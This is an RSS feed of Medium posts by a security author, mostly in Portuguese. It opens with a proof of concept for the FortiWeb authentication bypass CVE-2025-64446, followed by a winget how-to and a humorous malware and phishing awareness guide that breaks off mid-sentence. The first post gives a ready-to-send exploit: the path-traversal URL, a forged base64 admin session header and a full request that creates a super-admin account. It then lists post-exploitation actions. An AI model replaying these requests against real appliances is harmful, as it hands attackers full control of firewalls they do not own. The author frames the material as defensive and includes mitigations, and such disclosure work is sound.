<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jonathan M. on Medium]]></title>
        <description><![CDATA[Stories by Jonathan M. on Medium]]></description>
        <link>https://medium.com/@silvasec?source=rss-58a5322995c3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*W_FfcqhnC4xD11ECFyrWyA.jpeg</url>
            <title>Stories by Jonathan M. on Medium</title>
            <link>https://medium.com/@silvasec?source=rss-58a5322995c3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 08:21:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@silvasec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PoC — CVE-2025–64446: FortiWeb Authentication bypass]]></title>
            <link>https://medium.com/@silvasec/poc-cve-2025-64446-fortiweb-authentication-bypass-76d009dc94a1?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/76d009dc94a1</guid>
            <category><![CDATA[fortinet]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 17:58:45 GMT</pubDate>
            <atom:updated>2026-07-02T17:58:45.198Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*xGch5vY2JuUPZzxEwRdIlQ.png" /></figure><p><em>Este documento tem finalidade </em><strong><em>exclusivamente educacional e de defesa </em></strong>cibernética<em>.</em></p><h3>Disclaimer</h3><p><strong><em>Aviso Legal e Ético</em></strong></p><p><em>O conteúdo aqui apresentado visa capacitar profissionais de segurança da informação e administradores de sistemas a:</em></p><p><em>Compreender o funcionamento técnico da vulnerabilidade CVE-2025–64446;</em></p><p><em>Identificar ativos vulneráveis em seus ambientes;</em></p><p><em>Reproduzir o cenário de forma controlada para validação de testes de penetração autorizados;</em></p><p><em>Aplicar as mitigações e workarounds necessários para proteger seus ambientes</em>.</p><p><strong><em>O autor não se responsabiliza pelo uso indevido das informações contidas neste documento.</em></strong><em> Qualquer utilização deste conhecimento para acessar, modificar, danificar ou comprometer sistemas sem a devida autorização expressa dos proprietários constitui crime sob as legislações aplicáveis, bem como viola políticas de uso aceitável e códigos de ética profissional.</em></p><p><strong><em>Ao utilizar este material, você concorda que:</em></strong></p><p><em>A responsabilidade por suas ações é inteiramente sua;</em></p><p><em>Você possui autorização explícita para testar os sistemas-alvo;</em></p><p><em>O autor, a empresa e quaisquer afiliados estão isentos de responsabilidade por danos diretos, indiretos, incidentais ou consequenciais decorrentes do uso deste conteúdo.</em></p><h4>Se você não possui autorização para testar um sistema, não execute nenhum dos procedimentos aqui descritos contra esse sistema.</h4><h3>1. Sumário Executivo</h3><p>Foi identificada uma vulnerabilidade de <strong>path traversal (CWE-23)</strong> no appliance FortiWeb exposto na porta 8443/TCP. O parser de URL da API REST não sanitiza adequadamente sequências ../ quando combinadas com caracteres URL-encoded (%3f = ?), permitindo que um atacante <strong>não autenticado</strong> alcance diretamente o backend CGI (fwbcgi), bypassando completamente a camada de autenticação e autorização da API REST.</p><p>A exploração foi confirmada com a <strong>criação de um usuário administrativo</strong> com perfil prof_admin, concedendo ao atacante controle total sobre o Web Application Firewall — incluindo capacidade de modificar/desabilitar políticas de segurança, acessar configurações sensíveis do ambiente protegido e potencialmente pivotar para ataques adicionais.</p><p>A vulnerabilidade afeta as versões 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.9, 7.6.0–7.6.4 e 8.0.0–8.0.1. O appliance analisado executa <strong>FortiWeb 7.4.2 build 622</strong>, dentro do intervalo vulnerável e sem patch disponível aplicado.</p><h3>2. Detalhes Técnicos da Vulnerabilidade</h3><h3>2.1. Causa Raiz</h3><p>O FortiWeb expõe uma API REST em /api/v2.0/cmdb/ que atua como <em>proxy</em> para o backend CGI localizado em /cgi-bin/fwbcgi. O roteamento interno da API parseia a URL e encaminha a requisição ao backend. Contudo, o parser de URL <strong>não normaliza</strong> sequências de path traversal antes de resolver o caminho final.</p><p>Quando um caractere ? é inserido via URL-encoding (%3f), o parser interpreta tudo que segue como <strong>query string</strong>, enquanto o servidor web subjacente trata o restante como parte do <strong>path</strong>. Essa discrepância permite &quot;escapar&quot; do diretório da API e alcançar o CGI diretamente.</p><h3>2.2. Payload de Path Traversal</h3><pre>POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1</pre><p><strong>Dissecação do payload:</strong></p><pre>/api/v2.0/cmdb/system/admin  ← Prefixo da API REST (módulo de admins)<br>%3f                        ← &quot;?&quot; encodado → parser da API vê query string<br>/../../../../../         ← Path traversal: sobe 5 níveis até a raiz<br>cgi-bin/fwbcgi          ← Alcança o backend CGI sem autenticação</pre><p><strong>Visualização da árvore de diretórios:</strong></p><pre>/                            ← raiz do filesystem<br>├── cgi-bin/<br>│   └── fwbcgi               ← 🎯 Alvo: backend CGI (sem auth)<br>├── api/<br>│   └── v2.0/<br>│       └── cmdb/<br>│           └── system/<br>│               └── admin    ← 🔒 API REST (com auth)<br>│   ...</pre><p>O parser da API REST resolve:</p><ul><li>/api/v2.0/cmdb/system/admin ← parte &quot;válida&quot; da URL</li><li>?... ← parseia como query string, ignora o restante</li></ul><p>Enquanto o servidor web resolve:</p><ul><li>/api/v2.0/cmdb/system/admin?/../../../../../cgi-bin/fwbcgi</li><li>Após normalização: /cgi-bin/fwbcgi</li></ul><p><strong>Resultado:</strong> O backend CGI recebe a requisição diretamente, sem qualquer validação de sessão ou token da API REST.</p><h3>2.3. Bypass de Autenticação via Header CGIINFO</h3><p>Uma vez alcançado o backend CGI, é necessário fornecer um contexto de sessão. Isso é feito através do header HTTP proprietário CGIINFO:</p><pre>CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==</pre><p><strong>Decodificado (Base64 → JSON):</strong></p><pre>{<br>  &quot;username&quot;: &quot;admin&quot;,<br>  &quot;profname&quot;: &quot;prof_admin&quot;,<br>  &quot;vdom&quot;: &quot;root&quot;,<br>  &quot;loginname&quot;: &quot;admin&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*iaAhHhDMJWqsDh4P_d8J5Q.png" /><figcaption>O backend CGI <strong>confia cegamente</strong> nos valores fornecidos por este header, sem validar contra uma sessão real ou token — permitindo que o atacante especifique credenciais de administrador arbitrariamente.</figcaption></figure><h3>3. Prova de Conceito — Execução Passo a Passo</h3><h3>3.1. Fase 1 — Enumeração</h3><p><strong>Request:</strong> Verificar se o path traversal é possível e se o backend CGI responde.</p><pre>POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1<br>Host: &lt;FORTIWEB_HOST&gt;:8443<br>Content-Type: application/json<br>CGIINFO: &lt;BASE64_SESSION_SPOOF&gt;<br>Content-Length: &lt;LEN&gt;<br><br>{&quot;data&quot;:{&quot;q_type&quot;:2,&quot;name&quot;:&quot;admin&quot;}}</pre><p>q_type: 2 = operação de leitura (<em>get</em>). Se o backend responder com dados, o bypass está funcional.</p><h3>3.2. Fase 2 — Criação de Usuário Administrativo</h3><p><strong>Request:</strong></p><pre>POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1<br>Host: &lt;FORTIWEB_HOST&gt;:8443<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0<br>Content-Type: application/json<br>CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==<br>Content-Length: 1168<br><br>{<br>    &quot;data&quot;: {<br>        &quot;q_type&quot;: 1,<br>        &quot;name&quot;: &quot;&lt;USERNAME&gt;&quot;,<br>        &quot;access-profile&quot;: &quot;prof_admin&quot;,<br>        &quot;access-profile_val&quot;: &quot;0&quot;,<br>        &quot;last-name&quot;: &quot;&quot;,<br>        &quot;first-name&quot;: &quot;&quot;,<br>        &quot;email-address&quot;: &quot;&quot;,<br>        &quot;phone-number&quot;: &quot;&quot;,<br>        &quot;mobile-number&quot;: &quot;&quot;,<br>        &quot;hidden&quot;: 0,<br>        &quot;comments&quot;: &quot;&quot;,<br>        &quot;sz_dashboard&quot;: -1,<br>        &quot;type&quot;: &quot;local-user&quot;,<br>        &quot;type_val&quot;: &quot;0&quot;,<br>        &quot;admin-usergrp_val&quot;: &quot;0&quot;,<br>        &quot;wildcard_val&quot;: &quot;0&quot;,<br>        &quot;accprofile-override_val&quot;: &quot;0&quot;,<br>        &quot;sshkey&quot;: &quot;&quot;,<br>        &quot;trusthostv4&quot;: &quot;0.0.0.0/0&quot;,<br>        &quot;trusthostv6&quot;: &quot;::/0&quot;,<br>        &quot;passwd-set-time&quot;: 0,<br>        &quot;history-password-pos&quot;: 0,<br>        &quot;history-password0&quot;: &quot;&quot;,<br>        &quot;history-password1&quot;: &quot;&quot;,<br>        &quot;history-password2&quot;: &quot;&quot;,<br>        &quot;history-password3&quot;: &quot;&quot;,<br>        &quot;history-password4&quot;: &quot;&quot;,<br>        &quot;history-password5&quot;: &quot;&quot;,<br>        &quot;history-password6&quot;: &quot;&quot;,<br>        &quot;history-password7&quot;: &quot;&quot;,<br>        &quot;history-password8&quot;: &quot;&quot;,<br>        &quot;history-password9&quot;: &quot;&quot;,<br>        &quot;force-password-change&quot;: &quot;disable&quot;,<br>        &quot;force-password-change_val&quot;: &quot;0&quot;,<br>        &quot;password&quot;: &quot;&lt;PASSWORD&gt;&quot;<br>    }<br>}</pre><p><strong>Parâmetros críticos do payload:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*wmioD50tVNJBZoKX3on-0Q.png" /></figure><h3>3.3. Fase 3 — Confirmação</h3><p><strong>Response (HTTP 200 OK):</strong></p><pre>{<br>    &quot;results&quot;: {<br>        &quot;can_view&quot;: 0,<br>        &quot;q_ref&quot;: 0,<br>        &quot;can_clone&quot;: 1,<br>        &quot;q_type&quot;: 1,<br>        &quot;name&quot;: &quot;&lt;USERNAME&gt;&quot;,<br>        &quot;access-profile&quot;: &quot;prof_admin&quot;,<br>        &quot;access-profile_val&quot;: &quot;2681&quot;,<br>        &quot;trusthostv4&quot;: &quot;0.0.0.0/0 &quot;,<br>        &quot;trusthostv6&quot;: &quot;::/0 &quot;,<br>        &quot;type&quot;: &quot;local-user&quot;,<br>        &quot;type_val&quot;: &quot;0&quot;,<br>        &quot;password&quot;: &quot;ENC XXXX&quot;,<br>        &quot;passwd-set-time&quot;: &lt;UNIX_TIMESTAMP&gt;,<br>        &quot;history-password-pos&quot;: 1,<br>        &quot;history-password0&quot;: &quot;ENC XXXX&quot;,<br>        &quot;force-password-change&quot;: &quot;disable&quot;,<br>        &quot;force-password-change_val&quot;: &quot;0&quot;<br>    }<br>}</pre><p><strong>Indicadores de sucesso:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*18waAac_J5MUt0Y7hP-y8g.png" /></figure><h3>3.4. Fase 4 — Login e Acesso Administrativo</h3><p><strong>Request de autenticação:</strong></p><pre>POST /login HTTP/1.1<br>Host: &lt;FORTIWEB_HOST&gt;:8443<br>Content-Type: application/x-www-form-urlencoded<br><br>username=&lt;USERNAME&gt;&amp;password=&lt;PASSWORD&gt;&amp;ajax=1</pre><p><strong>Resultado:</strong> Login bem-sucedido. Sessão administrativa estabelecida com privilégios prof_admin.</p><p><strong>Ações possíveis de um threat actor pós-exploração:</strong></p><ul><li>Desabilitar políticas de proteção do WAF</li><li>Expor servidores backend originalmente protegidos</li><li>Modificar regras de SSL/TLS inspection</li><li>Criar backdoors adicionais (novos admins, tokens de API)</li><li>Acessar e exfiltrar configurações do ambiente protegido</li><li>Redirecionar tráfego legítimo para destinos maliciosos</li><li>Desabilitar logging para encobrir atividades</li></ul><h3>4. Detalhes do Ambiente Vulnerável</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*L5-xK2hBy9GYnGi_M3oLmQ.png" /></figure><h3>5. Impacto</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*E_RPMNSRBsRrST_gh_fA6Q.png" /></figure><h3>6. Mitigação</h3><h3>6.1. Workaround Aplicado (Imediato)</h3><p>Conforme recomendação oficial da Fortinet PSIRT para a CVE-2025–64446, foi aplicado o seguinte workaround para eliminar o vetor de ataque enquanto o patch não é instalado:</p><blockquote><strong><em>Desabilitar HTTP e HTTPS nas interfaces voltadas para a Internet (internet-facing).</em></strong></blockquote><p><strong>Ações executadas no appliance:</strong></p><pre>config system interface<br>    edit &quot;&lt;INTERFACE_NAME&gt;&quot;<br>        set allowaccess ping   ← Remove &quot;https&quot; e &quot;http&quot; dos serviços permitidos<br>    next<br>end</pre><p><strong>Alternativamente, via GUI:</strong> <em>Network → Interfaces → &lt;INTERFACE&gt; → Administrative Access → desmarcar HTTPS e HTTP.</em></p><p><strong>Efeito do workaround:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*aCgg8wB-zcU1GxiPypG7_Q.png" /></figure><p><strong>Nota da Fortinet:</strong></p><blockquote>“Fortinet recommends taking this action until an upgrade can be performed. If the HTTP/HTTPS Management interface is internally accessible only as per best practice, the risk is significantly reduced.”</blockquote><p><strong>Racional:</strong> O path traversal depende de requisições HTTP/HTTPS. Ao remover esses protocolos da interface internet-facing, o appliance deixa de responder a qualquer requisição web na porta 8443 a partir da WAN, neutralizando completamente a exploração remota. A administração permanece possível através de interfaces internas ou via console/SSH a partir de jump hosts autorizados.</p><h3>7.2. Recomendações Adicionais</h3><h4>Imediatas (Próximas 24h) 🔴 Urgente</h4><p><strong>1</strong> Remover o usuário criado via console local ou acesso legítimo: config system admin → delete “&lt;USERNAME&gt;” → end</p><p><strong>2 </strong>Rotacionar todas as credenciais de administradores legítimos do appliance .</p><p><strong>3</strong> Auditar logs de acesso (/var/log/fwbd.log, event log) por ocorrências de /cgi-bin/fwbcgi acessado via path traversal ou a partir de IPs não autorizados.</p><p><strong>4 </strong>Confirmar que o workaround está efetivo — verificar via scan externo que a porta 8443 não responde mais a HTTP/HTTPS a partir da Internet.</p><h4>Curto Prazo (1–7 dias) 🟠 Alta</h4><p><strong>5</strong> <strong>Aplicar patch oficial</strong> da Fortinet (PSIRT advisory para CVE-2025–64446). Atualizar para versão corrigida conforme matriz de upgrade da Fortinet. Após o upgrade, reabilitar HTTPS na interface externa <strong>SE necessário!</strong></p><p><strong>6</strong> <strong>Implementar autenticação multifator (MFA)</strong> para todas as contas administrativas do FortiWeb.</p><p><strong>7 Revisar configuração de </strong><strong>trusthost</strong> em todos os administradores — garantir que apenas IPs autorizados estejam listados.</p><h4>Longo Prazo 🟡 Média</h4><p><strong>8 </strong>Implementar <strong>monitoramento contínuo</strong> de CVEs e PSIRTs da Fortinet para appliances FortiWeb em produção.</p><p><strong>9 </strong>Integrar o FortiWeb a um <strong>SIEM</strong> para detecção de padrões anômalos de criação/alteração de administradores.</p><p><strong>10</strong> Restringir a interface administrativa a uma <strong>VLAN de gerenciamento dedicada</strong>, segregada da rede de produção. Manter como prática arquitetural que interfaces de gestão <strong>nunca</strong> estejam expostas diretamente à Internet.</p><h3>7. Referências</h3><p><strong>CVE-2025–64446 — </strong>Fortinet PSIRT Advisory — Relative Path Traversal in FortiWeb REST API</p><ul><li><a href="https://fortiguard.fortinet.com/psirt/FG-IR-25-910">https://fortiguard.fortinet.com/psirt/FG-IR-25-910</a></li><li><a href="https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/">https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/</a></li><li><a href="https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild">https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76d009dc94a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Como instalar o WhatsApp no Windows 11 IoT LTSC (Sem a Microsoft Store)]]></title>
            <link>https://medium.com/@silvasec/como-instalar-o-whatsapp-no-windows-11-iot-ltsc-sem-a-microsoft-store-1a628763d71a?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a628763d71a</guid>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[whatsapp]]></category>
            <category><![CDATA[winget]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 01:11:34 GMT</pubDate>
            <atom:updated>2025-12-15T01:11:34.177Z</atom:updated>
            <content:encoded><![CDATA[<h4>Estava eu reinstalando o Windows neste final de semana e resolvi testar o <strong>Windows 11 IoT Enterprise LTSC</strong> (que nome chique, não?).</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*-5lXvrOj1RrcsW8-jzxOLg.png" /></figure><p>Deu tudo certo, porém essa versão possui um <em>debloat</em> nativo, onde a loja de aplicativos da Microsoft não vem instalada. O problema é que, hoje em dia, o WhatsApp (que fique registrado: prefiro o Telegram 1000x) só dá para instalar via Loja — ou pelo menos, era o que eu pensava.</p><p>Vou direto ao ponto. Tive diversas tentativas com muitas falhas, então quero mostrar para vocês somente a forma mais assertiva de fazer isso, e não as outras 10 formas de como <em>não</em> fazê-lo. Então, vamos lá.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUm0J3VE_2VduteMLdk5Ig.png" /><figcaption>Uma das 10 tentativas de instalacao.</figcaption></figure><p>Tentei instalar com o Chocolatey, mas não deu certo. Então partimos para o <strong>WinGet</strong>. Mas o WinGet é a mesma coisa que a loja? Eu não sabia, então pesquisei um pouco sobre:</p><blockquote>Não, a Microsoft Store e o Winget são diferentes: a Store é uma loja de aplicativos com interface gráfica, enquanto o Winget é um gerenciador de pacotes de linha de comando que também pode obter aplicativos do repositório da Store (entre outros) por meio de uma fonte dedicada. São ferramentas distintas, mas às vezes apresentam sobreposição de conteúdo.</blockquote><h3>Vamos ao que interessa.</h3><p>Primeiro, queremos encontrar o ID do pacote que será instalado. Abra o PowerShell como administrador e busque o ID:</p><pre>winget search WhatsApp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2T-AeK2iy8cLqbQywOY-Mg.png" /><figcaption>Precisamos do ID</figcaption></figure><p><em>Anote o ID que aparecer na coluna “Id”.</em></p><p>O próximo passo é, de fato, seguir com a instalação usando esse ID (por algum motivo, não estava funcionando somente com o nome):</p><pre>winget install -e --id &lt;O ID que voce encontrou&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2n666zj4vZdBtHu7dMNQw.png" /><figcaption>Facil assim!</figcaption></figure><h3>BÔNUS</h3><p>E para manter tudo atualizado, basta você usar o comando abaixo:</p><pre>winget update --all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T3Drl3D0iKqyiIl7T8jCew.png" /></figure><p>Isso e tudo pessoal!</p><p>Se meu artigo te ajudou de alguma forma, deixa seu follow ai pra me ajudar :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a628763d71a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[O Guia de Sobrevivência Digital Para Quem Não Quer Virar Meme]]></title>
            <link>https://medium.com/@silvasec/o-guia-de-sobreviv%C3%AAncia-digital-para-quem-n%C3%A3o-quer-virar-meme-1837f9819159?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1837f9819159</guid>
            <category><![CDATA[memes]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[segurança]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 21:40:52 GMT</pubDate>
            <atom:updated>2025-11-12T21:40:52.598Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Um guia completo? (ou nem tanto) para entender, identificar e se proteger das principais ameaças cibernéticas — (BEM BASICO NA VERDADE).</em></p><blockquote>Faz tempo que eu não escrevo, durante o processo de criação desse artigo, eu percebi o motivo…</blockquote><p>A segurança digital nunca foi tão crítica, <strong><em>e é por isso que eu tenho um emprego</em>!</strong> Bem-vindo ao mundo maravilhoso da internet, onde tudo é lindo, prático e… cheio de gente tentando roubar seus dados.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*lbWufgAv-R10M1cvqFUmuA.png" /><figcaption>Eu fique sem tempo pra editar o meme todo (preguiça).</figcaption></figure><p>Mas relaxa! Este guia vai te ajudar a navegar nesse oceano digital sem virar comida de tubarão cibernético. <em>(Da onde eu tirei isso, brainrot?).</em></p><h3>Capítulo 1: Malware vs. Vírus</h3><h4>Todo vírus é malware, mas nem todo malware é vírus.</h4><p>Pensa assim: <strong>Malware</strong> é tipo “crime” — é o termo geral pra qualquer coisa ruim que acontece. <strong>Vírus</strong> é um tipo específico de malware, tipo “roubo de celular” é um tipo de crime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*EQh6iq8RHykC0TKH.jpg" /></figure><p>A diferença? Um vírus é aquele chato que precisa se grudar em algum arquivo legítimo pra se espalhar, tipo aquele amigo que só vai na festa se você for junto. Já o malware é a categoria toda: tem o ransomware (o sequestrador de arquivos), o spyware (o stalker digital), os worms (a praga que se espalha sozinha)… e etc…</p><h3>Tá, mas por que eu preciso saber disso?</h3><p>Porque quando você descobre que tem malware, a pergunta seguinte é: “Que tipo de encrenca eu arrumei?”</p><p>É um <strong>Spyware</strong> te espionando tipo Big Brother (1984)? Ou um <strong>Ransomware</strong> que sequestrou suas fotos de férias e agora quer resgate em Bitcoin? Saber o tipo de problema é o primeiro passo pra resolver — ou pelo menos pra saber o tamanho da encrenca.</p><h3>Capítulo 2: Os Vilões Menos Famosos (Mas Igualmente Chatos)</h3><h4>Worms: os ninjas esquecidos do mundo digital</h4><p>Enquanto o ransomware rouba a cena nas manchetes, os <strong>worms</strong> estão ali, quietinhos, fazendo estrago. Tipo aquele vírus de WhatsApp que seu tio encaminhou sem querer pra família inteira.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RwX4TAQzTgpv1TmM" /></figure><p>O superpoder deles? <strong>Autopropagação</strong>. Depois que você executou — eles se espalham sozinhos pela rede como fofoca em grupo de família. E hoje em dia, são o Uber de outros malwares, entregando ransomware de porta em porta.</p><h3>E seus dispositivos “inteligentes”? Nem tanto…</h3><p>Aquela câmera de segurança, o roteador, a geladeira smart que você comprou pra impressionar as visitas? Pois é, eles são o sonho de consumo dos worms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/0*QhEjpCT8z_s8lcbs" /></figure><p><strong>Por quê?</strong> Porque vêm com senhas tipo “admin123” e ninguém nunca atualiza. É tipo deixar a porta de casa aberta com um bilhete “Fique à vontade Sr.Hascker!”.</p><p>Resultado: milhões de dispositivos viram <strong>botnets</strong> — exércitos zumbis digitais usados pra atacar a o BTS ou os Back Street Boys.</p><h3>Adware: o chato que ninguém convidou</h3><p>O adware é aquele primo distante do malware. Não vai destruir seu computador nem roubar sua conta bancária, mas vai te encher de propaganda como se você tivesse entrado num camelô digital.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*KJELUvYXaxGd72lxRW2m5Q.png" /></figure><p>É considerado “leve” porque só quer te mostrar anúncios, mas:</p><ol><li>Ele tá te stalkeando 24/7 pra saber o que você gosta.</li><li>Esses anúncios duvidosos podem ser a porta de entrada pra coisa pior.</li></ol><p>É tipo deixar um vendedor de enciclopédia entrar na sua casa — ele não vai te roubar, mas pode chamar os amigos.</p><h3>Capítulo 3: “Acho Que Tem Algo Errado Com Meu Celular…”</h3><p>Sinais de que você pode estar sendo espionado (e não é paranoia)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*keMSfVPNnunrZMx_" /><figcaption>Se você conhece essa imagem, você ta velho heim</figcaption></figure><p>Seu celular tá:</p><ul><li><strong>Acabando a bateria</strong> mais rápido que promessa de político? (Ele tá gravando e mandando tudo pra alguém)</li><li><strong>Usando mais dados</strong> que adolescente no TikTok?</li><li><strong>Esquentando</strong> mesmo quando tá na gaveta?</li><li><strong>Demorando uma eternidade</strong> pra desligar? (Tá terminando de enviar seus segredos)</li><li>Fazendo <strong>barulhos estranhos</strong> nas ligações? (Alô, tem alguém na linha…)</li></ul><h3>Capítulo 4: A Arte de Assustar Pessoas na Internet</h3><h4>Scareware: o susto que funciona desde sempre</h4><p>Sabe aquele pop-up GIGANTE e PISCANTE gritando “SEU PC TEM 57 VÍRUS!!! CLIQUE AQUI URGENTE!!!”?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/0*XmbWZhOUmgxQOb2V.png" /><figcaption>Eu ja tentei baixar memoria ram quando era mais jovem, não julgo quem clica nisso</figcaption></figure><p><strong>Pois é, ainda funciona. E funciona MUITO!</strong></p><p><strong>Por quê? </strong>Porque quando a gente fica com medo, o cérebro desliga a parte racional e liga o modo pânico. Aí você clica em “Corrigir Agora” e… parabéns, você acabou de pagar por um antivírus falso que provavelmente É o vírus.</p><h3>Mas por que tanta gente cai nessa?</h3><p>Porque a maioria das pessoas não faz ideia de como um vírus funciona de verdade. Então quando aparece um aviso técnico, alarmante e com cara profissional, parece legítimo.</p><p>É o medo de perder as fotos, os arquivos, o acesso ao banco… Aí você clica “só por precaução”. E pronto, caiu no conto do vigário digital.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*ojzbDfFvwQRr_1Bo.png" /></figure><h3>Por que esse golpe tá crescendo?</h3><p><strong>Simples</strong>: é muito mais fácil (e barato!) enganar uma pessoa do que hackear um sistema de segurança corporativo com 50 camadas de proteção.</p><p>Atacar o <strong>humano</strong> é o caminho mais curto, e mais facil :D.</p><h3>Capítulo 5: Ransomware e Phishing — Os Campeões de Audiência</h3><h4>Por que empresas AINDA caem em golpe de ransomware?</h4><p>Porque mesmo em 2025, tem empresa com:</p><ul><li>Sistema desatualizado desde a época do Orkut.</li><li>Senha “123456” no servidor. (Ou Louvre né..)</li><li>Backup? Que backup?</li><li>Aquele funcionário que clica em tudo.</li></ul><p>E os criminosos evoluíram: agora fazem <strong>extorsão tripla</strong> — criptografam seus dados, ameaçam vazar tudo na internet e ainda ligam pros seus clientes avisando. É tipo ser assaltado três vezes no mesmo dia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KdKp4WADe8px4zEp.jpg" /><figcaption>Da serie Todo Mundo Odeia o Chris</figcaption></figure><h3>Como identificar phishing moderno (spoiler: tá cada vez mais difícil)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*nX9Y2EdyPaAYcz9wNsApCA.png" /><figcaption>4k ULTRA HD PLUS PREMIUM Certified</figcaption></figure><p>Fique de olho em:</p><p><strong>Urgência fake</strong>: “Sua conta será BLOQUEADA em 24h!”, “Atividade SUSPEITA detectada!”, “Seu pacote da SHEIN vai VOLTAR pro remetente!”</p><p><strong>Links suspeitos</strong>: No PC, passa o mouse em cima do link antes de clicar. Vai aparecer o endereço real — e geralmente é algo tipo “amaz0n-seguranca-cliente-verificacao-urgente.<strong>ru</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*45z514t_0YrMPWGuGWlOww.png" /></figure><p><strong>Pedidos estranhos</strong>: Nenhum banco, loja ou serviço sério vai te pedir pra “clicar aqui e validar sua senha”. <strong>NUNCA — NUNCA — NUNCA-NUNCA — NUNCA — NUNCA.</strong></p><p><strong>No celular</strong>: É pior. Tela pequena, link encurtado (bit.ly da vida), e vem por SMS ou WhatsApp — canais que a gente confia mais. É a combinação perfeita pro desastre — Fica esperto!</p><h3>Capítulo 6: Como Não Virar Estatística em 2025</h3><h4>A dica de ouro (que você TEM que seguir)</h4><p><strong>Ative a autenticação em dois fatores (MFA) em TUDO.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*G19BzZ_yHDE4e_7q.jpg" /><figcaption>Lumma Stealer ta ai seus vacilaum</figcaption></figure><h4>Sério. Email, banco, redes sociais, Netflix, aquele joguinho (tigrinho tem MFA?)… TUDO.</h4><p><strong>Por quê?</strong> Porque sua senha VAI vazar. <strong>Não é questão de “se”, é questão de “quando”.</strong> Com MFA ativado, mesmo que roubem sua senha, o ladrão não consegue entrar sem o segundo fator (que tá no seu celular).</p><p>É tipo ter uma porta com 